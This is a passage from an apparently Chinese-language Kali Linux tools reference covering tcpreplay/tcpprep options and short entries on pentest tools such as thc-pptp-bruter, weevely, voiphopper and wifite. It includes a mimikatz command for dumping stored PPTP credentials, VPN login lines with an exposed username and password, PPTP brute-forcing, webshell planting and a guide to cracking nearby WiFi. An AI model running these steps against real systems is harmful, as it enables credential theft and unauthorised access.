-N <CIDR1:CIDR2,…> Rewrite IP’s via pseudo-NAT

可选参数,通过伪造的NAT,重写IP地址。这个参数应该有很重要的应用,目前没有测试使用。

-O One output mode

可选参数,没有测试使用

-p <packetrate> Set replay speed to given rate (packets/sec)

可选参数,指定每秒发送报文的个数,指定该参数,其它速率相关的参数被忽略,最后的打印信息不会有速率和每秒发送报文的统计。

-P Print PID

可选参数,表示在输出信息中打印PID的信息,用于单用户或单帐户模式下暂停和重启程序。

-r <rate> Set replay speed to given rate (Mbps)

可选参数,指定发送的速率。目前-m/-r/-p这3个参数的相互关系还需要确认。

-R Set replay speed to as fast as possible

可选参数,让报文线速发送。

-s <seed> Randomize src/dst IP addresses w/ given seed

可选参数,

-S <snaplen> Sniff interface(s) and set the snaplen length

可选参数,

-t <mtu> Override MTU (defaults to 1500)

可选参数,指定MTU,标准的10/100M网卡的默认值是1500。

-T Truncate packets > MTU so they can be sent

可选参数,截去报文中MTU大于标准值的部分再发送出去,默认是不发送,skip掉。目前还有疑问,为什么会产生MTU大于1500字节的包,在BT报文中,这种包比较常见。

-u pad|trunc Pad/Truncate packets which are larger than the snaplen

可选参数,后面的参数值二选一,snaplen是指保留数据包的长度,这里的trunc参数值和MTU没有任何关系,不要混淆。

-v Verbose: print packet decodes for each packet sent

可选参数,没发送一个报文都以tcpdump的风格打印出对应的信息。

-V Version

查看版本号。

-w <file> Write (primary) packets or data to file

可选参数,将主网卡发送的报文写入一个文件中,参数后紧跟文件名。

-W <file> Write secondary packets or data to file

可选参数,将从网卡发送的报文写入一个文件中,参数后紧跟文件名。

-x <match> Only send the packets specified

可选参数,发送匹配参数值的报文,这里各个参数具体的含义和tcpprep中的一样,

S:<CIDR1>,… – Src IP must match specified CIDR(s)

在CIDR模式下必须匹配源IP,格式:-xS:100.1.1.0/24,10.10.10.0/26。多个用逗号隔开,参数个数没有试过,3个没有问题。

D:<CIDR1>,… – Dst IP must match specified CIDR(s)

在CIDR模式下必须匹配目的IP,格式同上。

B:<CIDR1>,… – Both src and dst addresses must match

必须同时匹配源和目的IP,格式同上。

E:<CIDR1>,… – Either src or dst address must match

匹配源或目的IP,格式同上。

P:<list> – Must be one of the listed packets where the list corresponds to the packet number in the capture file.

Ex: -xP:1-5,9,15 would only send packets 1 through 5, 9 and 15.

根据参数后的参数值(报文编号)发送指定的报文。可以在ethereal中确认报文的编号,然后把需要的报文发送。可以用于排除ARP报文。

F:"<filter>" – BPF filter. See the tcpdump(8) man page for syntax.

未知,以后补充。

-X <match> Send all the packets except those specified

可选参数,-x的参数内容取反。参数内容一样。

-1 Send one packet per key press

可选参数,参数内容就是阿拉伯数字1,这个参数对于确定连接的建立,相当好用,根据按回车键发送报文,可以将报文一个一个发送,来判断连接的状态。也可以用于故障定位。

-2 <datafile> Layer 2 data

可选参数,在2层加入数据。

-4 <PORT1:PORT2,…> Rewrite port numbers

可选参数,重写端口号,对于测试特殊端口的应用比较实用。

<file1> <file2> … File list to replay

可选参数,没有实验过。
配置实例

1、 重放在客户端ftp连接的报文

a、 在客户端使用ethereal抓包,存为ftp.pcap文件

b、 将ftp.pcap文件进行tcpprep操作,制作cache文件。

[root@A ~]# tcpprep -an client -i ftp.pcap -o ftp.cache –v

c、 将DUT设备的两个接口和PC的两个接口使用网线连接,使用tcpreplay重放报文。注意防火墙的配置为网桥(透明)模式。

[root@A ~]# tcpreplay -c ftp.cache -i eth0 -j eth1 ftp.pcap -R –v

-R参数表示全速发送,-v显示打印信息。

2、 重放在客户端BT连接的报文

a、 在实验室BT下载一些台湾的娱乐节目和热门的大片,使用ethereal抓包,存为bt.pcap文件。注意pcap文件大小的控制,对pc的内存要求比较高,我保存了一个600多M的pcap文件用了40多分钟,大家有需要可以直接从实验室copy。

b、 将bt.pcap文件进行tcpprep操作,制作cache文件。

[root@A ~]# tcpprep -an client -i bt.pcap -o bt.cache -C "100M BT Packet" –v

制作cache文件,在cache文件中写入“100M BT Packet”的注释。

c、 使用tcpreplay重放报文。

[root@A ~]# tcpreplay -c bt.cache -i eth0 -j eth1 bt.pcap -v –R

3、 重放tftp服务器上抓到的报文

a、 在tftp服务器上使用ethereal抓包,存为tftp.pcap文件。

b、 将pcap文件进行tcpprep的操作,制作cache文件。

[root@A ~]# tcpprep -an server -i tftp.pcap -o tftp.cache –v

注意:我在测试的时候犯了一个错误,使用DUT的tftp升级来做实验,同时穿过DUT重放报文,结果在网卡发送报文的后,DUT的mac地址做了的回应,导致交互过程没有穿过DUT,这个问题比较搞笑,上午弄了半天才发现原因,开始还以为udp的连接不能重放。

c、 使用tcpreplay重放报文。

[root@A ~]# tcpreplay -c tftp.cache -i eth0 -j eth1 tftp.pcap –v
Tcpprep和Tcprepaly的原理

对于原理部分,目前还没有看过代码,王海斌同学打算先看过源码后,再在windows上调试一个tcpreplay的程序供测试使用。具体的实现原理日后补充。



tcpprep是一个在tcpreplay和tcprewrite(3.0.beta11版本才有,这里不讨论)之前使用的pcap文件的处理程序。使用tcpprep的目的就是建立一个cache文件,用于分离通信流量中的两方(通常叫做 主要的/次要的 或者 客户端/服务器)。如果你正打算在两块网卡上使用tcpreplay的话,那么tcpprep就是用来决定每一个报文(packet)从哪一个接口发出。通过使用这样一个分离的程序来建立一个cache文件,tcpreplay就可以根据这个cache文件通过自身的计算来分离流量,高速率的发送报文。

目前王海斌看过代码后,对cache文件的作用解释,主要是加速报文的发送,cache文件中存放着pcap文件中每个帧的编号和时间戳等信息,以达到tcpreplay回放时可以更加快速的发送报文的目的。

其实我们要使用tcpreplay的功能的话,肯定就是它的重放功能,而重放的话肯定是一个客户端和服务器的交互过程,例如ftp、tftp、sqlnet、rtsp、mms等应用层协议的交互过程,我们只要有正确和足够的pcap文件,只需要制作cache文件,使用tcpreplay的命令,就不需要每次都搭建一个真实的测试环境来测试DUT对该协议的支持程度。所以在介绍tcpreplay之前先介绍tcpprep这个命令的使用。tcprewrite提供的功能暂时不做研究。

Tcpprep帮助文件说明

由于时间问题,这次不能对man文件一一做解释,这个说明文档主要是对-h打印出来的命令参数作一个说明,结合几个实际的例子来说明tcpprep的使用。强烈建议大家去官方网站去阅读他们提供的文档,http://tcpreplay.synfin.net/trac/,我这里有打印的内容,有兴趣的可以拿去看一下。

Usage: tcpprep [-a -n <mode> -N <type> | -c <cidr> | -p | -r <regex>]

-o <out> -i <in> <args>



-a <st1:city w:st="on"><st1:place w:st="on">Split</st1:place></st1:city> traffic in Auto Mode<o:p></o:p>

一般情况下都需要该参数,表示按模式自动分离的通讯流量生成cache文件,这个参数一半都和-n参数一起使用,表示自动分离采取的拓扑模式,来决定采取那种模式分离通讯流量的双方。

-c CIDR1,CIDR2,… Split traffic in CIDR Mode

可选参数,表示分离流量时采用CIDR(无类别域间路由选择)模式。格式:tcpprep -ac <st1:chsdate w:st="on" isrocdate="False" islunardate="False" day="30" month="12" year="1899">10.10.0</st1:chsdate>.0/24,表示把源地址匹配10.10.0.0/24网段的报文全部由主网卡发送,剩下的报文由从网卡发送出来,这里还有一点需要补充,就是tcpreplay在重放报文时对两个网卡的定义很明确,一个主网卡(primary interface),一个是从网卡(secondary interface),不同的模式,两块网卡的属性不一样。该参数不能和-r,-a一起使用。<o:p></o:p>

-C <comment> Embed comment in tcpprep cache file

可选参数,表示在cache文件中嵌入注释内容,可以用于注释说明cache文件的内容,注意使用时参数位置,不要放在最后,我测试时放在-o参数值的后面就报错,放到-i参数之前就可以。生成cache文件后使用-P可以查看写入的内容。

-h Help

显示帮助文件。

-i <capfile> Input capture file to process

生成cache文件的必带参数,后面紧跟pcap文件名,表示这个pcap文件需要处理。

-m <minmask> Minimum mask length in Auto/Router mode

可选参数,在选用router模式时使用,表示最小掩码,默认是30(2个有效ip地址)。

-M <maxmask> Maximum mask length in Auto/Router mode

可选参数,在选用router模式时使用,表示最大掩码,默认是8(1600万个ip地址)。

-n <auto mode> Use specified algorithm in Auto Mode

生成cache文件的必带参数,后面紧跟模式名称,可选项有(bridge|router|client|server),目前<st1:chsdate w:st="on" isrocdate="False" islunardate="False" day="30" month="12" year="1899">2.3.5</st1:chsdate>版本只支持这4种模式。模式的选择很关键,例如在客户端使用ftp软件下载文件,那么你在客户端抓到的报文生成的pcap文件,那么就选用client模式,在服务器端抓到的报文生成的pcap文件就选用server模式。只有模式选对了,才能正确的分离流量从正确的接口发出正确的报文。注意:Server端的报文由主网卡发送出去,Client端的报文由从网卡发送出去。怎么确定主从网卡由tcpreplay的命令(-i –j两个参数)来决定。

-N client|server Classify non-IP traffic as client/server

可选参数,表示非IP的流量(例如ARP报文)从哪个接口送出,因为很多的tcpprcp支持的模式中,都依赖于IP头部中的IP地址信息来决定报文是从client端还是从server端发送出去。但是并不是所有的报文都是IPv4结构的,所以这种情况下,tcpprep不能确定这些非IPv4类型的报文应该从哪个接口发送出去,所以,默认的配置就是从client的接口发送出去。如果你硬要正确的分离出非IPv4报文的话,可以使用MAC address模式(–mac)。3.0版本才支持。

-o <outputfile> Output cache file name

生成cache文件的必带参数,后面紧跟cache文件名,表示这个输出的cache文件以这个名字命名。

-p <st1:place w:st="on"><st1:city w:st="on">Split</st1:city></st1:place> traffic based on destination port

可选参数,基于目的端口来分离通讯流量,它区分的依据是认为0-1023端口都是服务器的端发出的报文,其它的端口都是客户端发出的报文,具体的端口对应的/etc/services文件里的的内容。使用的格式:-p /etc/services,可以根据自己的需要来制作一个文件也可以。

-P <file> Print comment in tcpprep file

可选参数,查看cache文件的内容。

-r <regex> <st1:place w:st="on"><st1:city w:st="on">Split</st1:city></st1:place> traffic in Regex Mode

可选参数,表示使用Regex模式分离通讯流量,有点类似于CIDR模式,但是它匹配的是服务器的源IP。man文件提示不能和-a、-c参数一起使用,但是我使用了也没有报错,格式:-r "(192)"或-r "(192|172)\…..*",具体应用还有待实验。

-R <ratio> Specify a ratio to use in Auto Mode

可选参数,一个比例值,这个比例值的意义是服务器端发起的连接数和客户端发起的连接数的比例,这个值大于2的话就视为server端。这个英文原意我也不是太肯定,大家可以参考一下原文:

The ratio of server connections to client connections necessary to be classified as a server in auto mode. A system is classified as a server if [# server connections] >= ([# client connections] * [ratio]). Default is: 2.0

-s <file> Specify service ports in /etc/services format

可选参数,在man文件中没有对该参数的解释,估计就是按/etc/services文件里的格式来定义服务的端口,没有太多的研究意义。

-x <match> Only send the packets specified

重要的可选参数,表示按照参数定义的需求来定义发送报文。后面还有具体的参数,因为在我们的抓包过程中,可能会由于网络环境原因,抓到了许多我们不需要回放的报文,我们就可以根据这个参数决定我们需要回放哪些报文内容。具体的参数意思如下:

S:<CIDR1>,… – Src IP must match specified CIDR(s)

在CIDR模式下必须匹配源IP,格式:-xS:100.1.1.0/24,<st1:chsdate w:st="on" year="1899" month="12" day="30" islunardate="False" isrocdate="False">10.10.10</st1:chsdate>.0/26。多个用逗号隔开,参数个数没有试过,3个没有问题。

D:<CIDR1>,… – Dst IP must match specified CIDR(s)

在CIDR模式下必须匹配目的IP,格式同上。

B:<CIDR1>,… – Both src and dst addresses must match

必须同时匹配源和目的IP,格式同上。

E:<CIDR1>,… – Either src or dst address must match

匹配源或目的IP,格式同上。

实例:https://www.baidu.com/link?url=Qd6QQwC7AIECpwADCeqjesBqG0qpZT2gbxYU0hxFGCs5CkEkY-Dnh0Ac0MmoFNVP7vzmT_ySIIgOJbsUHJS87S-otewZKiSMlcI6IHfN2R3&wd=&eqid=fc2e9919001423d200000005625a721a

thcping6

描述:

image-20220416154338151

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
address6 <mac-address/ipv4-address/ipv6-address> [ipv6-prefix]
将mac或ipv4地址转换为ipv6地址(如果未将前缀作为第二选项提供链接,则为本地链接),或者在给定ipv6地址的情况下,打印mac或ipv4地址。 打印所有可能的变体。 对于错误或找到的变体数返回-1。

alive6 <interface> [unicast-or-multicast-address [remote-router]]
在细分中显示有效地址。 如果指定了远程路由器,则将发送带有分片前缀的路由头的数据包。

covert_send6 <interface> <target> <file> [port]
秘密地将FILE的内容发送到目标。

covert_send6d <interface> <file>
将收到的秘密内容写入FILE。

denial6 <interface> <destination> <test-case-number>
对目标执行各种拒绝服务攻击。

detect_sniffer6 <interface> [target-ip]
测试本地LAN上的系统是否正在嗅探。 适用于Windows,Li

thc-pptp-bruter

描述:

PPTP(即点对点隧道协议)可以使远程用户通过拨入ISP访问企业内网。

  在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。

顾名思义,THC-PPTP-Bruter是针对PPTP VPN端点(TCP 端口1723)的暴力破解程序。支持最新的MSChapV2验证,对windows和cisco网关测试通过,用以探测微软的Anti-Brute Force Implementation中存在的一个漏洞,并通过此漏洞,尝试以每秒300个密码进行暴力破解。

实例:

0x02 Windows系统命令行下PPTP配置信息和口令的获取

  1、获取PPTP配置信息

  Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下:

 %APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

  查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令

  VPN连接的名称为VPN Connection,如下图:渗透技巧——PPTP口令的获取与爆破

  PhoneNumber表示连接的服务器IP,如下图:渗透技巧——PPTP口令的获取与爆破

  2、获得内网IP

  ipconfig

  获得内网IP,如下图渗透技巧——PPTP口令的获取与爆破

  3、获得PPTP口令

  使用工具mimiaktz,命令如下:

  mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

  获得连接用户名和口令,如下图:渗透技巧——PPTP口令的获取与爆破

  4、命令行下连接VPN

  rasdial “VPN Connection” zhaodg oZ7iFk25

  如下图:

渗透技巧——PPTP口令的获取与爆破

  5、命令行关闭VPN连接

  rasphone -h “VPN Connection”

  0x03 Windows系统PPTP连接的方法和细节

  1.如下图所示:

渗透技巧——PPTP口令的获取与爆破

  2.如下图所示:

渗透技巧——PPTP口令的获取与爆破

  3.如下图所示:

渗透技巧——PPTP口令的获取与爆破

  4.选择创建新连接

  5.填入服务器IP,选中稍后连接

渗透技巧——PPTP口令的获取与爆破

  6.填入用户名口令

  7.点击连接后,选择跳过

  接下来修改VPN属性,Security->Type of VPN,选择Point to Point Tunneling Protocol(PPTP)

渗透技巧——PPTP口令的获取与爆破

  注:创建成功后,指定Point to Point Tunneling Protocol(PPTP)可缩短连接等待的时间

  8.连接

  0x04 Kali系统PPTP连接的方法和细节

  方法1:通过界面

  1.安装

  apt-get install network-manager-pptp network-manager-pptp-gnome

  2.Settings->Network->VPN

渗透技巧——PPTP口令的获取与爆破

  3.Identity->Advanced…

  去掉PAP,CHAP,EAP

  选择Use Point-to-Point encryption(MPPE)

渗透技巧——PPTP口令的获取与爆破

  注:如果无法连接,修改文件/etc/NetworkManager/NetworkManager.conf

  managed=false修改成managed=true

  重启系统

  方法2:通过pptpsetup

  1.连接

  pptpsetup –create vpn –server 5x.xxx.xxx.xx2 –username zhaodg –password oZ7iFk25 –encrypt –start

  远程IP为192.168.0.1,如下图

渗透技巧——PPTP口令的获取与爆破

  2.修改路由表

  将默认路由表修改为远程IP

  route del default

  route add default gw 192.168.0.1

  0x05 PPTP口令爆破

  PPTP服务器默认开放1723端口

  1、PPTP brute forcer

  源代码:

  https://github.com/BlackArch/thc-pptp-bruter

  kali默认支持

  通过字典爆破的命令如下:

  cat wordlist | thc-pptp-bruter -u zhaodg

  如下图

渗透技巧——PPTP口令的获取与爆破

  注:PPTP搭建于centos

theharverter

描述:

image-20220416203933737

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
-h, --help
显示此帮助信息并退出

-d DOMAIN, --domain DOMAIN
要搜索的公司名称或域名。

-l LIMIT, --limit LIMIT
限制搜索结果的数量,默认为500。

-S START, --start START
从结果编号X开始,默认= 0。

-g, --google-dork
使用Google Dorks进行Google搜索。

-p, --proxies
对请求使用代理,在agents .yaml中输入代理。

-s, --shodan
使用Shodan查询已发现的主机。

--screenshot SCREENSHOT
拍摄已解析域的屏幕快照以指定输出目录:--screenshot output_directory

-v, --virtual-host
验证主机名通过DNS解析和搜索虚拟主机。

-e DNS_SERVER, --dns-server DNS_SERVER
用于查找的DNS服务器。

-t DNS_TLD, --dns-tld DNS_TLD
执行DNS TLD扩展发现,默认为False。

-r, --take-over
检查接管。

-n, --dns-lookup
启用DNS服务器查找,默认为False。

-c, --dns-brute
在域上执行DNS暴力破解。

-f FILENAME, --filename FILENAME
将结果保存到HTML和/或XML文件。

-b SOURCE, --source SOURCE
baidu, bing, bingapi, bufferoverun, certspotter,crtsh, dnsdumpster, duckduckgo, exalead, github-code,google, hackertarget, hunter,

案例

theHarvester -d pinduoduo.com -l 400 -b baidu -f /usr/local/pinduoduo.html

image-20220416210213149

XML文件输出结果如下:

在这里插入图片描述

HTML输出结果如下:

在这里插入图片描述

Thunar 文件管理器

描述:

顾名思义

参数:

image-20220416210557263

tsk_comparedir

描述:

image-20220416210803804

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-o sector_offset
要比较的映像或设备中的分区的扇区偏移量。

-n start_inum
从映像中一个目录开始比较。

-v
详细输出到stderr

-V
打印版本信息

-f fstype
指定文件系统类型。使用'-f list'列出支持的文件系统类型。如果没有给出,使用自动检测方法。

-i imgtype
图像文件的格式,例如raw。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-b dev_sector_size
设备扇区的大小(以字节计)。如果没有给出,使用自动检测方法。

image [images]
要读取的磁盘或分区映像,其格式以“ -i”给出。 如果将图像分为多个段,则可以指定多个图像文件名。 如果仅给出一个图像文件,并且其名称是序列中的第一个图像文件(例如,以'.001'结尾的文件),则后续的图像段将自动包含在内。

tsk_gettimes

描述:

image-20220416211149364

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-v
详细输出到stderr

-V
打印版本信息

-f fstype
指定文件系统类型。 使用“ -f列表”列出支持的文件系统类型。 如果未给出,则使用自动检测方法。

-i imgtype
图像文件的格式,如raw。使用'-i list'列出支持的类型。如果没有给出,使用自动检测方法。

-b dev_sector_size
设备扇区的大小(以字节计)。如果没有给出,使用自动检测方法。

-o sector_offset
如果没有给定要恢复的卷(只恢复该卷)的扇区偏移量,将尝试恢复映像中的所有卷并将它们保存到不同的文件夹。

-s seconds
原始系统的时间偏差(以秒为单位)。 例如,如果原始系统的速度慢了100秒,则该值为-100。

-z zone
原始系统时区的ASCII字符串。例如,EST或GMT。这些字符串必须由您的操作系统定义,并且可能有所不同。

image [images]
要读取的磁盘或分区映像,其格式用'-i'表示。如果图像被分割成多个段,可以给出多个图像文件名。如果只给出一个图像文件,并且它的名称是序列中的第一个(例如,以'.001'结尾),则将自动包含后续图像段。

tak_recover

描述:

image-20220416211914530

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
-v
详细输出到stderr

-V
打印版本信息

-a
仅恢复已分配文件

-e
恢复所有文件(已分配和未分配)

-f fstype
指定文件系统类型。 使用“ -f列表”列出支持的文件系统类型。 如果未给出,则使用自动检测方法。

-i imgtype
图像文件的格式,例如raw。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-b dev_sector_size
设备扇区的大小(以字节计)。如果没有给出,使用自动检测方法。

-o sector_offset
要恢复的卷的扇区偏移(仅恢复该卷)如果未指定,将尝试恢复映像中的所有卷并将它们保存到其他文件夹。

-d dir_inum
要从中恢复的目录inum(还必须使用-o指定特定分区,否则必须没有卷系统)

image [images]
要读取的磁盘或分区映像,其格式以“ -i”给出。 如果将图像分为多个段,则可以指定多个图像文件名。 如果仅给出一个图像文件,并且其名称是序列中的第一个文件(例如,以“ .001”结尾的文件),则会自动包含后续的图像段。

output_dir
要在其中保存恢复文件的目录。

U

udptunnel

描述:

在部分受限的网络环境中,UDP协议被受限,但TCP不受限制。Kali Linux提供一个UDP转TCP隧道工具udptunnel。该工具可以分别启动服务器端和客户端。客户端要发送和接受的UDP数据可以通过和服务器建立的TCP连接进行传输。这样,就可以绕过网络的限制。同时,该工具还提供RTP模式,用于传输RTP和RTCP的数据。

参数:

假设你的UDP已被屏蔽,假设你的服务器IP为44.55.66.77,你有一个服务在监听udp端口7777。

1
2
3
4
# Runat server side:
./udp2raw_amd64-s -l0.0.0.0:4096 -r 127.0.0.1:7777 -a-k "passwd" --raw-mode faketcp
# Runat client side
./udp2raw_amd64-c -l0.0.0.0:3333 -r44.55.66.77:4096 -a-k "passwd" --raw-mode faketcp

服务器端输出

b.png

客户端输出

c.png

此时,已成功通过TCP端口4096在客户端和服务器端之间建立了一条经过加密的通信隧道。在客户端通过UDP端口3333连接,等同于在服务器端连接端口7777。

unix-privesc-check

描述:

unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具。它是一个Shell文件,可以检测所在系统的错误配置,以发现可以用于提权的漏洞。该工具适用于安全审计、渗透测试和系统维护等场景。它可以检测与权限相关的各类文件的读写权限,如认证相关文件、重要配置文件、交换区文件、cron job文件、设备文件、其他用户的家目录、正在执行的文件等等。如果发现可以利用的漏洞,就会给出提示warning。
unix-privesc-check并不会检测所有提权漏洞的潜在情况。它只是快速进行检测,并以简洁的方式给出提权漏洞相关的建议,大大减少用户在文件权限检测方面的枯燥工作的量。

将unix-privesc-check上传到目标主机上,或者直接在本机上。

实例:

漏洞检测

1
unix-privesc-check standard

image-20220416213458078

可以看到一个 rtkit-demon

V

Vulnhub

描述:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。vulnhub也是OSCP证书刷题必备的靶场,所以其中实验攻击机用kali均可完成,毕竟是kali认证的证书嘛,其实做一套靶场的过程中就像在考OSCP一样。

参数:

image-20220416214657750

https://zhuanlan.zhihu.com/p/340599830

voiphopper

描述:

“VoIP Hopper 是一种安全验证工具,用于测试 PC 是否可以模仿 IP 电话的行为。 它可以快速自动将 VLAN 跳到语音 VLAN。”

参数:

其它选项:

1
2
3
4
5
6
7
8
-l(列出用于CDP嗅探的可用接口,然后退出)
示例:voiphopper -l
-m(欺骗MAC地址,然后退出)
例如:voiphopper -i eth0 -m 00:07:0E:EA:50:86
-d(删除VLAN接口,然后退出)
示例:voiphopper -d eth0.200
-V(打印VoIP Hopper版本,然后退出)
示例:voiphopper -V

MAC地址欺骗选项(与-a,-v或-c选项一起使用):

1
2
3
4
-m(欺骗现有接口和新接口的MAC地址)
-D -m(仅欺骗新的语音接口的MAC地址)
例如:voiphopper -i eth0 -m 00070EEA5086
例如:voiphopper -i eth0 -D -m 00070EEA5086

CDP嗅探模式(- c0)

1
例如:voiphopper -i eth0 - c0

CDP欺骗模式(-c 1):

1
2
3
4
5
6
-E <字符串>(设备ID)
-P <字符串>(端口ID)
-C <字符串>(功能)
-L <字符串>(平台)
-S <字符串>(软件)
-U <字符串>(双工)

SIP固件电话的示例用法:

1
voiphopper -i eth0 -c 1 -E'SIP00070EEA5086'-P'端口1'-C主机-L'Cisco IP电话7940'-S'P003-08-8-00'-U 1

SCCP固件电话的示例用法:

1
voiphopper -i eth0 -c 1 -E'SEP0070EEA5086'-P'端口1'-C主机-L'Cisco IP电话7940'-S'P00308000700'-U 

具有MAC欺骗功能的电话的示例用法:

1
voiphopper -i eth0 -m 00070E:EA:5086 -c 1 -E'SEP00070EEA5086'-P'端口1'-C主机-L'Cisco IP电话7940'-S'P003-08-8 -00'-U 1

Avaya DHCP选项模式(-a):

1
2
示例:voiphopper -i eth0 -a
例如:voiphopper -i eth0 -a -m 00070E:EA:5086

VLAN Hop模式(-v VLAN ID):

1
2
例如:voiphopper -i eth0 - v200
例子:voiphopper -i eth0 -v 200 -D -m 00:07:0E:EA:50:86

阿尔卡特VLAN发现(- t0 |1|2):

1
2
3
4
5
6
例如:voiphopper -i eth0 - t0
例如:voiphopper -i eth0 - t1
例如:voiphopper -i eth0 -t 0 -m 00:80:9f:ad:42:42
例如:voiphopper -i eth0 -t 1 -m 00:80:9f:ad:42:42
例如:voiphopper -i eth0 - t2 - v800
例如:voiphopper -i eth0 -t 2 -v 800 -m 00:80:9f:ad:42:42

W

wafw00f

描述:

WAFW00F是一个Web应用防火墙(WAF)指纹识别的工具。

参数:

https://blog.csdn.net/weixin_43047908/article/details/118148256

wapiti

描述:

wapiti是一款对萌新非常友好的一个扫描工具,工具导出的报告里面的漏洞利用,直接复制粘贴就可以使用,缺点个人认为扫描的速度有点慢,我扫描了4个靶机最少的时间也要3个小时。但是还是推荐萌新入门使用的。

参数:

wapiti -u http://testphp.vulnweb.com/ -o wapiti_result -f html

-u 为要测试的网站
-0 导出报告的文件名
-f 为导出报告的格式
http://testphp.vulnweb.com/为靶机所以大家可以放心扫描

下面的图片就是打出的报告啦
在这里插入图片描述

weevely

描述:

weevely是一款基于python编写的webshell生成、管理工具。

参数:

1
2
3
weevely  generate  <password>  <path>       生成指定路径带密码的php文件      

weevely <url> <password> 连接php文件

weevely主页面

img

实例演示

1.生成带密码的php文件

weevely generate

img

2.将PHP文件放在目标网站后,连接php文件

weevely

img

3.连接成功后会得到shell,除了执行基础的系统命令,我们还可以输入help,调用weevely模块。

img

4.比如net_scan模块,我们输入”net_scan”,可以查看帮助信息。

img

5.然后输入”net_scan“使用该模块。

img

wfuzz

描述:

Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带。

参数:

https://blog.csdn.net/JBlock/article/details/88619117

whatweb

描述:

WhatWeb是一个开源的网站指纹识别软件。

WhatWeb可识别Web技术,包括内容管理系统(CMS),博客平台,统计/分析包,Javascript库,服务器和嵌入式设备。

WhatWeb有超过1000个插件,每个插件都能识别不同的东西。WhatWeb还标识版本号,电子邮件地址,账户ID,Web框架模块,SQL错误等。

参数:

查看whatweb版本

whatweb -version

初步使用

1.单个目标
whatweb 192.168.1.100
2.从外部导入目标数据进行批量探测
whatweb -input-file=路径
或者
whatweb -i 路径
c.根据特定的格式探测的结果导出
whatweb 192.168.1.110 -log-xml=result.xml

image-20220416232702271

whatweb的高级使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
whatweb -v 192.168.1.100
详细输出

whatweb 192.168.1.100/24 -url-suffix=":8080"
-url-prefix //添加前缀
-url-suffix // 添加后缀
-url-pattern //在中间插入内容

whatweb -v -proxy-user admin:password url
以指定用户名和密码进行探测

whatweb -v -c=cookie值 url
通过-c,指定cookie的值

whatweb -l
使用参数-l可以列出插件的列表,包括插件以及插件的描述

whatweb -info-plugins=“YouTube”
通过以上参数具体查看插件的内容

wifite

描述:

wifite是一款自动化wep、wpa破解工具,不支持windows和osx。wifite的特点是可以同时攻击多个采用wep和wpa加密的网络。wifite只需简单的配置即可自动化运行,期间无需人工干预。 目前支持任何linux发行版、Backtrack 5 R1, BlackBuntu, BackBox等。

参数:

Wifite使用命令行界面连续攻击多个WPA、WPS加密的网络,不需要记住参数即可使用它:

按信号强度排序(db单位)
详细显示是否用WPS加密,并显示Client连接数
可自定义设置(超时,数据包 / 秒)
“匿名攻击”(攻击之前自动更改随机MAC地址)
退出时显示会话摘要,显示任何所破解的秘钥

在这里插入图片描述

实例:

wifite硬核破解WiFi密码

如题 楼主在这里分享下如何使用工具破解附近的WiFi 今天使用的工具是 wifite

现在都有WiFi万能钥匙了 暴力破解还有市场吗?
首先他俩的破解思路就不一样 wifi万能钥匙是根据云端数据库内容匹配密码 而今天我说的这个是利用密码尝试来破解WiFi 比起万能钥匙 这个方法更加的可靠点

测试环境:

kalilinux系统、wifite软件、外置网卡、wifi密码包
wifite 能够自动抓取WiFi握手包,并进行破解,相比手动更加的快捷,更加实用。

1、插上网卡,输入wifite,系统会自动启动软件,并开始扫描附近的WiFi信息

注意:

若是命令输入之后还没有开始扫描,应该是网卡的监听模式没有开启,这时候,关闭这个程序,新开窗口输入
airmon-ng star wlan0 (打开wlan0网卡监听模式)然后再次打开wifite软件

img

2、等待WiFi信息加载,这时候可以看到我们已经搜索到六个WiFi信号。

NUMEssidCHENCRPOWERWPS?CLIENT
WiFi序号WiFi名称信道加密方式信号强度是否支持wps当前连接用户(已连接WiFi的用户)

若是支持wps破解的时候破解时间可能会减少,破解WiFi的时候必须是要有用户连接这个WiFi的,否则无法抓到握手包

img

3、然后我们看好了想破解的WiFi,按下组合键(Ctrl+c)然后输入WiFi名称前的序号,等待程序自动破解。

过程显示了破解WiFi的名称,破解进度,完成之后会显示破解WiFi的密码信息。

img

4、wifite默认是有密码包的,不过所使用的密码包太小了,我们可以自定义密码包,密码包的路径是 /usr/share/dict/wordlist-probable.txt,我们可以根据自己的需要来替换这个密码包。

wireshark

https://blog.csdn.net/qq_43543789/article/details/106394870#:~:text=%E5%8D%95%E5%87%BBWindows%20Installer(64,%E6%8C%89%E9%92%AE%EF%BC%8C%E5%8D%B3%E5%8F%AF%E5%AE%89%E8%A3%85%E6%88%90%E5%8A%9F%E3%80%82

wordlists

描述:

https://blog.csdn.net/Jiajiajiang_/article/details/88638367

参数:

https://blog.csdn.net/lijiajin1228/article/details/103971101

wpscan

描述:

WPScan是专门检查WordPress网站漏洞的工具,它可以全面检查wp网站的漏洞,例如插件,主题,备份文件等,有助于我们增加网站安全防护。类似我这种个人建个站,也可以通过WPScan来检查自己网站的漏洞,但是切记不要对别人的网站发起攻击。

